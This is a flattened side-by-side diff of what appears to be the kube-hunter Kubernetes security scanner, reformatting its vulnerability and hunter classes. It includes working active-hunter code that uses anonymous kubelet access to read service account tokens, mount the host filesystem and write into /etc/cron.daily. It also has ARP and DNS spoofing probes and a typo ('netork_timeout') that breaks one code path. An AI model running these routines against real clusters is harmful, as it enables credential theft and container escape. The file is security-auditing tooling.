path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}", path=f"{self.path}/apis/rbac.authorization.k8s.io/v1/clusterroles/{cluster_role}", data=json.dumps(data),
data=json.dumps(data),
) )
def execute(self): def execute(self):

View File

@@ -17,11 +17,7 @@ class PossibleArpSpoofing(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "Possible Arp Spoof", category=IdentityTheft, vid="KHV020",
KubernetesCluster,
"Possible Arp Spoof",
category=IdentityTheft,
vid="KHV020",
) )
@@ -43,7 +39,7 @@ class ArpSpoofHunter(ActiveHunter):
def detect_l3_on_host(self, arp_responses): def detect_l3_on_host(self, arp_responses):
""" returns True for an existence of an L3 network plugin """ """ returns True for an existence of an L3 network plugin """
logger.debug("Attempting to detect L3 network plugin using ARP") logger.debug("Attempting to detect L3 network plugin using ARP")
unique_macs = list({response[ARP].hwsrc for _, response in arp_responses}) unique_macs = list(set(response[ARP].hwsrc for _, response in arp_responses))
# if LAN addresses not unique # if LAN addresses not unique
if len(unique_macs) == 1: if len(unique_macs) == 1:
@@ -59,9 +55,7 @@ class ArpSpoofHunter(ActiveHunter):
config = get_config() config = get_config()
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst
arp_responses, _ = srp( arp_responses, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
timeout=config.network_timeout,
verbose=0,
) )
# arp enabled on cluster and more than one pod on node # arp enabled on cluster and more than one pod on node

View File

@@ -17,10 +17,7 @@ class CapNetRawEnabled(Event, Vulnerability):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="CAP_NET_RAW Enabled", category=AccessRisk,
KubernetesCluster,
name="CAP_NET_RAW Enabled",
category=AccessRisk,
) )

View File

@@ -8,24 +8,18 @@ from kube_hunter.core.events import handler
from kube_hunter.core.events.types import Vulnerability, Event, Service from kube_hunter.core.events.types import Vulnerability, Event, Service
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
email_pattern = re.compile(rb"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)") email_pattern = re.compile(rb"([a-z0-9]+@[a-z0-9]+\.[a-z0-9]+)")
class CertificateEmail(Vulnerability, Event): class CertificateEmail(Vulnerability, Event):
"""The Kubernetes API Server advertises a public certificate for TLS. """Certificate includes an email address"""
This certificate includes an email address, that may provide additional information for an attacker on your
organization, or be abused for further email based attacks."""
def __init__(self, email): def __init__(self, email):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "Certificate Includes Email Address", category=InformationDisclosure, vid="KHV021",
KubernetesCluster,
"Certificate Includes Email Address",
category=InformationDisclosure,
vid="KHV021",
) )
self.email = email self.email = email
self.evidence = f"email: {self.email}" self.evidence = "email: {}".format(self.email)
@handler.subscribe(Service) @handler.subscribe(Service)
@@ -48,7 +42,7 @@ class CertificateDiscovery(Hunter):
self.examine_certificate(cert) self.examine_certificate(cert)
def examine_certificate(self, cert): def examine_certificate(self, cert):
c = cert.strip(ssl.PEM_HEADER).strip("\n").strip(ssl.PEM_FOOTER).strip("\n") c = cert.strip(ssl.PEM_HEADER).strip(ssl.PEM_FOOTER)
certdata = base64.b64decode(c) certdata = base64.b64decode(c)
emails = re.findall(email_pattern, certdata) emails = re.findall(email_pattern, certdata)
for email in emails: for email in emails:

View File

@@ -52,11 +52,7 @@ class PingFloodHttp2Implementation(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Possible Ping Flood Attack", category=DenialOfService, vid="KHV024",
KubernetesCluster,
name="Possible Ping Flood Attack",
category=DenialOfService,
vid="KHV024",
) )
self.evidence = evidence self.evidence = evidence
@@ -67,11 +63,7 @@ class ResetFloodHttp2Implementation(Vulnerability, Event):
def __init__(self, evidence): def __init__(self, evidence):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Possible Reset Flood Attack", category=DenialOfService, vid="KHV025",
KubernetesCluster,
name="Possible Reset Flood Attack",
category=DenialOfService,
vid="KHV025",
) )
self.evidence = evidence self.evidence = evidence
@@ -97,14 +89,10 @@ class IncompleteFixToKubectlCpVulnerability(Vulnerability, Event):
def __init__(self, binary_version): def __init__(self, binary_version):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubectlClient, "Kubectl Vulnerable To CVE-2019-11246", category=RemoteCodeExec, vid="KHV027",
KubectlClient,
"Kubectl Vulnerable To CVE-2019-11246",
category=RemoteCodeExec,
vid="KHV027",
) )
self.binary_version = binary_version self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}" self.evidence = "kubectl version: {}".format(self.binary_version)
class KubectlCpVulnerability(Vulnerability, Event): class KubectlCpVulnerability(Vulnerability, Event):
@@ -113,14 +101,10 @@ class KubectlCpVulnerability(Vulnerability, Event):
def __init__(self, binary_version): def __init__(self, binary_version):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubectlClient, "Kubectl Vulnerable To CVE-2019-1002101", category=RemoteCodeExec, vid="KHV028",
KubectlClient,
"Kubectl Vulnerable To CVE-2019-1002101",
category=RemoteCodeExec,
vid="KHV028",
) )
self.binary_version = binary_version self.binary_version = binary_version
self.evidence = f"kubectl version: {self.binary_version}" self.evidence = "kubectl version: {}".format(self.binary_version)
class CveUtils: class CveUtils:

View File

@@ -16,11 +16,7 @@ class DashboardExposed(Vulnerability, Event):
def __init__(self, nodes): def __init__(self, nodes):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "Dashboard Exposed", category=RemoteCodeExec, vid="KHV029",
KubernetesCluster,
"Dashboard Exposed",
category=RemoteCodeExec,
vid="KHV029",
) )
self.evidence = "nodes: {}".format(" ".join(nodes)) if nodes else None self.evidence = "nodes: {}".format(" ".join(nodes)) if nodes else None

View File

@@ -18,14 +18,10 @@ class PossibleDnsSpoofing(Vulnerability, Event):
def __init__(self, kubedns_pod_ip): def __init__(self, kubedns_pod_ip):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, "Possible DNS Spoof", category=IdentityTheft, vid="KHV030",
KubernetesCluster,
"Possible DNS Spoof",
category=IdentityTheft,
vid="KHV030",
) )
self.kubedns_pod_ip = kubedns_pod_ip self.kubedns_pod_ip = kubedns_pod_ip
self.evidence = f"kube-dns at: {self.kubedns_pod_ip}" self.evidence = "kube-dns at: {}".format(self.kubedns_pod_ip)
# Only triggered with RunningAsPod base event # Only triggered with RunningAsPod base event
@@ -65,9 +61,7 @@ class DnsSpoofHunter(ActiveHunter):
self_ip = dns_info_res[IP].dst self_ip = dns_info_res[IP].dst
arp_responses, _ = srp( arp_responses, _ = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=f"{self_ip}/24"), timeout=config.network_timeout, verbose=0,
timeout=config.network_timeout,
verbose=0,
) )
for _, response in arp_responses: for _, response in arp_responses:
if response[Ether].src == kubedns_pod_mac: if response[Ether].src == kubedns_pod_mac:
@@ -76,7 +70,7 @@ class DnsSpoofHunter(ActiveHunter):
def execute(self): def execute(self):
config = get_config() config = get_config()
logger.debug("Attempting to get kube-dns pod ip") logger.debug("Attempting to get kube-dns pod ip")
self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout)[IP].dst self_ip = sr1(IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.netork_timeout)[IP].dst
cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac() cbr0_ip, cbr0_mac = self.get_cbr0_ip_mac()
kubedns = self.get_kube_dns_ip_mac() kubedns = self.get_kube_dns_ip_mac()

View File

@@ -26,11 +26,7 @@ class EtcdRemoteWriteAccessEvent(Vulnerability, Event):
def __init__(self, write_res): def __init__(self, write_res):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Etcd Remote Write Access Event", category=RemoteCodeExec, vid="KHV031",
KubernetesCluster,
name="Etcd Remote Write Access Event",
category=RemoteCodeExec,
vid="KHV031",
) )
self.evidence = write_res self.evidence = write_res
@@ -40,11 +36,7 @@ class EtcdRemoteReadAccessEvent(Vulnerability, Event):
def __init__(self, keys): def __init__(self, keys):
Vulnerability.__init__( Vulnerability.__init__(
self, self, KubernetesCluster, name="Etcd Remote Read Access Event", category=AccessRisk, vid="KHV032",
KubernetesCluster,
name="Etcd Remote Read Access Event",
category=AccessRisk,
vid="KHV032",
) )
self.evidence = keys self.evidence = keys
@@ -143,7 +135,7 @@ class EtcdRemoteAccess(Hunter):
logger.debug(f"Trying to check etcd version remotely at {self.event.host}") logger.debug(f"Trying to check etcd version remotely at {self.event.host}")
try: try:
r = requests.get( r = requests.get(
f"{self.event.protocol}://{self.event.host}:{ETCD_PORT}/version", f"{self.protocol}://{self.event.host}:{ETCD_PORT}/version",
verify=False, verify=False,
timeout=config.network_timeout, timeout=config.network_timeout,
) )
@@ -157,9 +149,7 @@ class EtcdRemoteAccess(Hunter):
logger.debug(f"Trying to access etcd insecurely at {self.event.host}") logger.debug(f"Trying to access etcd insecurely at {self.event.host}")
try: try:
r = requests.get( r = requests.get(
f"http://{self.event.host}:{ETCD_PORT}/version", f"http://{self.event.host}:{ETCD_PORT}/version", verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
) )
return r.content if r.status_code == 200 and r.content else False return r.content if r.status_code == 200 and r.content else False
except requests.exceptions.ConnectionError: except requests.exceptions.ConnectionError:
@@ -167,10 +157,10 @@ class EtcdRemoteAccess(Hunter):
def execute(self): def execute(self):
if self.insecure_access(): # make a decision between http and https protocol if self.insecure_access(): # make a decision between http and https protocol
self.event.protocol = "http" self.protocol = "http"
if self.version_disclosure(): if self.version_disclosure():
self.publish_event(EtcdRemoteVersionDisclosureEvent(self.version_evidence)) self.publish_event(EtcdRemoteVersionDisclosureEvent(self.version_evidence))
if self.event.protocol == "http": if self.protocol == "http":
self.publish_event(EtcdAccessEnabledWithoutAuthEvent(self.version_evidence)) self.publish_event(EtcdAccessEnabledWithoutAuthEvent(self.version_evidence))
if self.db_keys_disclosure(): if self.db_keys_disclosure():
self.publish_event(EtcdRemoteReadAccessEvent(self.keys_evidence)) self.publish_event(EtcdRemoteReadAccessEvent(self.keys_evidence))

View File

@@ -35,7 +35,7 @@ class ExposedPodsHandler(Vulnerability, Event):
def __init__(self, pods): def __init__(self, pods):
Vulnerability.__init__( Vulnerability.__init__(
self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure, vid="KHV052" self, component=Kubelet, name="Exposed Pods", category=InformationDisclosure,
) )
self.pods = pods self.pods = pods
self.evidence = f"count: {len(self.pods)}" self.evidence = f"count: {len(self.pods)}"
@@ -47,11 +47,7 @@ class AnonymousAuthEnabled(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Anonymous Authentication", category=RemoteCodeExec, vid="KHV036",
component=Kubelet,
name="Anonymous Authentication",
category=RemoteCodeExec,
vid="KHV036",
) )
@@ -60,11 +56,7 @@ class ExposedContainerLogsHandler(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed Container Logs", category=InformationDisclosure, vid="KHV037",
component=Kubelet,
name="Exposed Container Logs",
category=InformationDisclosure,
vid="KHV037",
) )
@@ -74,14 +66,10 @@ class ExposedRunningPodsHandler(Vulnerability, Event):
def __init__(self, count): def __init__(self, count):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed Running Pods", category=InformationDisclosure, vid="KHV038",
component=Kubelet,
name="Exposed Running Pods",
category=InformationDisclosure,
vid="KHV038",
) )
self.count = count self.count = count
self.evidence = f"{self.count} running pods" self.evidence = "{} running pods".format(self.count)
class ExposedExecHandler(Vulnerability, Event): class ExposedExecHandler(Vulnerability, Event):
@@ -89,11 +77,7 @@ class ExposedExecHandler(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed Exec On Container", category=RemoteCodeExec, vid="KHV039",
component=Kubelet,
name="Exposed Exec On Container",
category=RemoteCodeExec,
vid="KHV039",
) )
@@ -102,11 +86,7 @@ class ExposedRunHandler(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed Run Inside Container", category=RemoteCodeExec, vid="KHV040",
component=Kubelet,
name="Exposed Run Inside Container",
category=RemoteCodeExec,
vid="KHV040",
) )
@@ -115,11 +95,7 @@ class ExposedPortForwardHandler(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed Port Forward", category=RemoteCodeExec, vid="KHV041",
component=Kubelet,
name="Exposed Port Forward",
category=RemoteCodeExec,
vid="KHV041",
) )
@@ -129,11 +105,7 @@ class ExposedAttachHandler(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed Attaching To Container", category=RemoteCodeExec, vid="KHV042",
component=Kubelet,
name="Exposed Attaching To Container",
category=RemoteCodeExec,
vid="KHV042",
) )
@@ -143,11 +115,7 @@ class ExposedHealthzHandler(Vulnerability, Event):
def __init__(self, status): def __init__(self, status):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Cluster Health Disclosure", category=InformationDisclosure, vid="KHV043",
component=Kubelet,
name="Cluster Health Disclosure",
category=InformationDisclosure,
vid="KHV043",
) )
self.status = status self.status = status
self.evidence = f"status: {self.status}" self.evidence = f"status: {self.status}"
@@ -175,11 +143,7 @@ class PrivilegedContainers(Vulnerability, Event):
def __init__(self, containers): def __init__(self, containers):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=KubernetesCluster, name="Privileged Container", category=AccessRisk, vid="KHV044",
component=KubernetesCluster,
name="Privileged Container",
category=AccessRisk,
vid="KHV044",
) )
self.containers = containers self.containers = containers
self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}" self.evidence = f"pod: {containers[0][0]}, " f"container: {containers[0][1]}, " f"count: {len(containers)}"
@@ -190,11 +154,7 @@ class ExposedSystemLogs(Vulnerability, Event):
def __init__(self): def __init__(self):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed System Logs", category=InformationDisclosure, vid="KHV045",
component=Kubelet,
name="Exposed System Logs",
category=InformationDisclosure,
vid="KHV045",
) )
@@ -203,11 +163,7 @@ class ExposedKubeletCmdline(Vulnerability, Event):
def __init__(self, cmdline): def __init__(self, cmdline):
Vulnerability.__init__( Vulnerability.__init__(
self, self, component=Kubelet, name="Exposed Kubelet Cmdline", category=InformationDisclosure, vid="KHV046",
component=Kubelet,
name="Exposed Kubelet Cmdline",
category=InformationDisclosure,
vid="KHV046",
) )
self.cmdline = cmdline self.cmdline = cmdline
self.evidence = f"cmdline: {self.cmdline}" self.evidence = f"cmdline: {self.cmdline}"
@@ -314,9 +270,7 @@ class SecureKubeletPortHunter(Hunter):
def test_container_logs(self): def test_container_logs(self):
config = get_config() config = get_config()
logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format( logs_url = self.path + KubeletHandlers.CONTAINERLOGS.value.format(
pod_namespace=self.pod["namespace"], pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], container_name=self.pod["container"],
pod_id=self.pod["name"],
container_name=self.pod["container"],
) )
return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200 return self.session.get(logs_url, verify=False, timeout=config.network_timeout).status_code == 200
@@ -334,46 +288,36 @@ class SecureKubeletPortHunter(Hunter):
return ( return (
"/cri/exec/" "/cri/exec/"
in self.session.get( in self.session.get(
exec_url, exec_url, headers=headers, allow_redirects=False, verify=False, timeout=config.network_timeout,
headers=headers,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
).text ).text
) )
# need further investigation on websockets protocol for further implementation # need further investigation on websockets protocol for further implementation
def test_port_forward(self): def test_port_forward(self):
pass config = get_config()
headers = {
"Upgrade": "websocket",
"Connection": "Upgrade",
"Sec-Websocket-Key": "s",
"Sec-Websocket-Version": "13",
"Sec-Websocket-Protocol": "SPDY",
}
pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
pod_namespace=self.pod["namespace"], pod_id=self.pod["name"], port=80,
)
self.session.get(
pf_url, headers=headers, verify=False, stream=True, timeout=config.network_timeout,
).status_code == 200
# TODO: what to return? # TODO: what to return?
# Example starting code:
#
# config = get_config()
# headers = {
# "Upgrade": "websocket",
# "Connection": "Upgrade",
# "Sec-Websocket-Key": "s",
# "Sec-Websocket-Version": "13",
# "Sec-Websocket-Protocol": "SPDY",
# }
# pf_url = self.path + KubeletHandlers.PORTFORWARD.value.format(
# pod_namespace=self.pod["namespace"],
# pod_id=self.pod["name"],
# port=80,
# )
# executes one command and returns output # executes one command and returns output
def test_run_container(self): def test_run_container(self):
config = get_config() config = get_config()
run_url = self.path + KubeletHandlers.RUN.value.format( run_url = self.path + KubeletHandlers.RUN.value.format(
pod_namespace="test", pod_namespace="test", pod_id="test", container_name="test", cmd="",
pod_id="test",
container_name="test",
cmd="",
) )
# if we get this message, we know we passed Authentication and Authorization, and that the endpoint is enabled. # if we get a Method Not Allowed, we know we passed Authentication and Authorization.
status_code = self.session.post(run_url, verify=False, timeout=config.network_timeout).status_code return self.session.get(run_url, verify=False, timeout=config.network_timeout).status_code == 405
return status_code == requests.codes.NOT_FOUND
# returns list of currently running pods # returns list of currently running pods
def test_running_pods(self): def test_running_pods(self):
@@ -395,10 +339,7 @@ class SecureKubeletPortHunter(Hunter):
return ( return (
"/cri/attach/" "/cri/attach/"
in self.session.get( in self.session.get(
attach_url, attach_url, allow_redirects=False, verify=False, timeout=config.network_timeout,
allow_redirects=False,
verify=False,
timeout=config.network_timeout,
).text ).text
) )
@@ -406,8 +347,7 @@ class SecureKubeletPortHunter(Hunter):
def test_logs_endpoint(self): def test_logs_endpoint(self):
config = get_config() config = get_config()
logs_url = self.session.get( logs_url = self.session.get(
self.path + KubeletHandlers.LOGS.value.format(path=""), self.path + KubeletHandlers.LOGS.value.format(path=""), timeout=config.network_timeout,
timeout=config.network_timeout,
).text ).text
return "<pre>" in logs_url return "<pre>" in logs_url
@@ -415,9 +355,7 @@ class SecureKubeletPortHunter(Hunter):
def test_pprof_cmdline(self): def test_pprof_cmdline(self):
config = get_config() config = get_config()
cmd = self.session.get( cmd = self.session.get(
self.path + KubeletHandlers.PPROF_CMDLINE.value, self.path + KubeletHandlers.PPROF_CMDLINE.value, verify=False, timeout=config.network_timeout,
verify=False,
timeout=config.network_timeout,
) )
return cmd.text if cmd.status_code == 200 else None return cmd.text if cmd.status_code == 200 else None
@@ -526,7 +464,7 @@ class ProveAnonymousAuth(ActiveHunter):
def __init__(self, event): def __init__(self, event):
self.event = event self.event = event
self.base_url = f"https://{self.event.host}:10250/" self.base_url = "https://{host}:10250/".format(host=self.event.host)
def get_request(self, url, verify=False): def get_request(self, url, verify=False):
config = get_config() config = get_config()
@@ -565,7 +503,7 @@ class ProveAnonymousAuth(ActiveHunter):
return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result) return ProveAnonymousAuth.has_no_error(result) and ProveAnonymousAuth.has_no_exception(result)
def cat_command(self, run_request_url, full_file_path): def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"}) return self.post_request(run_request_url, {"cmd": "cat {}".format(full_file_path)})
def process_container(self, run_request_url): def process_container(self, run_request_url):
service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token") service_account_token = self.cat_command(run_request_url, "/var/run/secrets/kubernetes.io/serviceaccount/token")
@@ -602,7 +540,7 @@ class ProveAnonymousAuth(ActiveHunter):
for container_data in pod_data["spec"]["containers"]: for container_data in pod_data["spec"]["containers"]:
container_name = container_data["name"] container_name = container_data["name"]
run_request_url = self.base_url + f"run/{pod_namespace}/{pod_id}/{container_name}" run_request_url = self.base_url + "run/{}/{}/{}".format(pod_namespace, pod_id, container_name)
extracted_data = self.process_container(run_request_url) extracted_data = self.process_container(run_request_url)
@@ -611,11 +549,11 @@ class ProveAnonymousAuth(ActiveHunter):
environment_variables = extracted_data["environment_variables"] environment_variables = extracted_data["environment_variables"]
temp_message += ( temp_message += (
f"\n\nPod namespace: {pod_namespace}" "\n\nPod namespace: {}".format(pod_namespace)
+ f"\n\nPod ID: {pod_id}" + "\n\nPod ID: {}".format(pod_id)
+ f"\n\nContainer name: {container_name}" + "\n\nContainer name: {}".format(container_name)
+ f"\n\nService account token: {service_account_token}" + "\n\nService account token: {}".format(service_account_token)
+ f"\nEnvironment variables: {environment_variables}" + "\nEnvironment variables: {}".format(environment_variables)
) )
first_check = container_data.get("securityContext", {}).get("privileged") first_check = container_data.get("securityContext", {}).get("privileged")
@@ -640,7 +578,7 @@ class ProveAnonymousAuth(ActiveHunter):
if temp_message: if temp_message:
message = "The following containers have been successfully breached." + temp_message message = "The following containers have been successfully breached." + temp_message
self.event.evidence = f"{message}" self.event.evidence = "{}".format(message)
if exposed_existing_privileged_containers: if exposed_existing_privileged_containers:
self.publish_event( self.publish_event(
@@ -660,7 +598,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
def __init__(self, event, seconds_to_wait_for_os_command=1): def __init__(self, event, seconds_to_wait_for_os_command=1):
self.event = event self.event = event
self.base_url = f"https://{self.event.host}:10250/" self.base_url = "https://{host}:10250/".format(host=self.event.host)
self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command
self.number_of_rm_attempts = 5 self.number_of_rm_attempts = 5
self.number_of_rmdir_attempts = 5 self.number_of_rmdir_attempts = 5
@@ -679,7 +617,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
return "Exception: " + str(ex) return "Exception: " + str(ex)
def cat_command(self, run_request_url, full_file_path): def cat_command(self, run_request_url, full_file_path):
return self.post_request(run_request_url, {"cmd": f"cat {full_file_path}"}) return self.post_request(run_request_url, {"cmd": "cat {}".format(full_file_path)})
def clean_attacked_exposed_existing_privileged_container( def clean_attacked_exposed_existing_privileged_container(
self, self,
@@ -695,7 +633,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
self.rm_command( self.rm_command(
run_request_url, run_request_url,
f"{directory_created}/etc/cron.daily/{file_created}", "{}/etc/cron.daily/{}".format(directory_created, file_created),
number_of_rm_attempts, number_of_rm_attempts,
seconds_to_wait_for_os_command, seconds_to_wait_for_os_command,
) )
@@ -709,10 +647,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
) )
self.rmdir_command( self.rmdir_command(
run_request_url, run_request_url, directory_created, number_of_rmdir_attempts, seconds_to_wait_for_os_command,
directory_created,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
) )
def check_file_exists(self, run_request_url, file): def check_file_exists(self, run_request_url, file):
@@ -723,7 +658,9 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command): def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):
if self.check_file_exists(run_request_url, file_to_remove): if self.check_file_exists(run_request_url, file_to_remove):
for _ in range(number_of_rm_attempts): for _ in range(number_of_rm_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rm -f {file_to_remove}"}) command_execution_outcome = self.post_request(
run_request_url, {"cmd": "rm -f {}".format(file_to_remove)}
)
if seconds_to_wait_for_os_command: if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command) time.sleep(seconds_to_wait_for_os_command)
@@ -750,10 +687,10 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
return False return False
def chmod_command(self, run_request_url, permissions, file): def chmod_command(self, run_request_url, permissions, file):
return self.post_request(run_request_url, {"cmd": f"chmod {permissions} {file}"}) return self.post_request(run_request_url, {"cmd": "chmod {} {}".format(permissions, file)})
def touch_command(self, run_request_url, file_to_create): def touch_command(self, run_request_url, file_to_create):
return self.post_request(run_request_url, {"cmd": f"touch {file_to_create}"}) return self.post_request(run_request_url, {"cmd": "touch {}".format(file_to_create)})
def attack_exposed_existing_privileged_container( def attack_exposed_existing_privileged_container(
self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None
@@ -761,7 +698,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
if file_name is None: if file_name is None:
file_name = "kube-hunter" + str(uuid.uuid1()) file_name = "kube-hunter" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}" file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
file_created = self.touch_command(run_request_url, file_name_with_path) file_created = self.touch_command(run_request_url, file_name_with_path)
@@ -781,15 +718,13 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists) return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)
def rmdir_command( def rmdir_command(
self, self, run_request_url, directory_to_remove, number_of_rmdir_attempts, seconds_to_wait_for_os_command,
run_request_url,
directory_to_remove,
number_of_rmdir_attempts,
seconds_to_wait_for_os_command,
): ):
if self.check_directory_exists(run_request_url, directory_to_remove): if self.check_directory_exists(run_request_url, directory_to_remove):
for _ in range(number_of_rmdir_attempts): for _ in range(number_of_rmdir_attempts):
command_execution_outcome = self.post_request(run_request_url, {"cmd": f"rmdir {directory_to_remove}"}) command_execution_outcome = self.post_request(
run_request_url, {"cmd": "rmdir {}".format(directory_to_remove)}
)
if seconds_to_wait_for_os_command: if seconds_to_wait_for_os_command:
time.sleep(seconds_to_wait_for_os_command) time.sleep(seconds_to_wait_for_os_command)
@@ -816,7 +751,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
return False return False
def ls_command(self, run_request_url, file_or_directory): def ls_command(self, run_request_url, file_or_directory):
return self.post_request(run_request_url, {"cmd": f"ls {file_or_directory}"}) return self.post_request(run_request_url, {"cmd": "ls {}".format(file_or_directory)})
def umount_command( def umount_command(
self, self,
@@ -834,7 +769,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
for _ in range(number_of_umount_attempts): for _ in range(number_of_umount_attempts):
# Ref: http://man7.org/linux/man-pages/man2/umount.2.html # Ref: http://man7.org/linux/man-pages/man2/umount.2.html
command_execution_outcome = self.post_request( command_execution_outcome = self.post_request(
run_request_url, {"cmd": f"umount {file_system_or_partition} {directory}"} run_request_url, {"cmd": "umount {} {}".format(file_system_or_partition, directory)}
) )
if seconds_to_wait_for_os_command: if seconds_to_wait_for_os_command:
@@ -865,16 +800,16 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
def mount_command(self, run_request_url, file_system_or_partition, directory): def mount_command(self, run_request_url, file_system_or_partition, directory):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mount {file_system_or_partition} {directory}"}) return self.post_request(run_request_url, {"cmd": "mount {} {}".format(file_system_or_partition, directory)})
def mkdir_command(self, run_request_url, directory_to_create): def mkdir_command(self, run_request_url, directory_to_create):
# Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html
return self.post_request(run_request_url, {"cmd": f"mkdir {directory_to_create}"}) return self.post_request(run_request_url, {"cmd": "mkdir {}".format(directory_to_create)})
def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition): def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):
# Ref: http://man7.org/linux/man-pages/man8/findfs.8.html # Ref: http://man7.org/linux/man-pages/man8/findfs.8.html
return self.post_request( return self.post_request(
run_request_url, {"cmd": f"findfs {file_system_or_partition_type}{file_system_or_partition}"} run_request_url, {"cmd": "findfs {}{}".format(file_system_or_partition_type, file_system_or_partition)}
) )
def get_root_values(self, command_line): def get_root_values(self, command_line):
@@ -933,7 +868,9 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
) )
if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition): if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):
host_name = self.cat_command(run_request_url, f"{directory_created}/etc/hostname") host_name = self.cat_command(
run_request_url, "{}/etc/hostname".format(directory_created)
)
if ProveAnonymousAuth.has_no_error_nor_exception(host_name): if ProveAnonymousAuth.has_no_error_nor_exception(host_name):
return { return {
@@ -967,7 +904,7 @@ class MaliciousIntentViaSecureKubeletPort(ActiveHunter):
pod_id = exposed_existing_privileged_containers["pod_id"] pod_id = exposed_existing_privileged_containers["pod_id"]
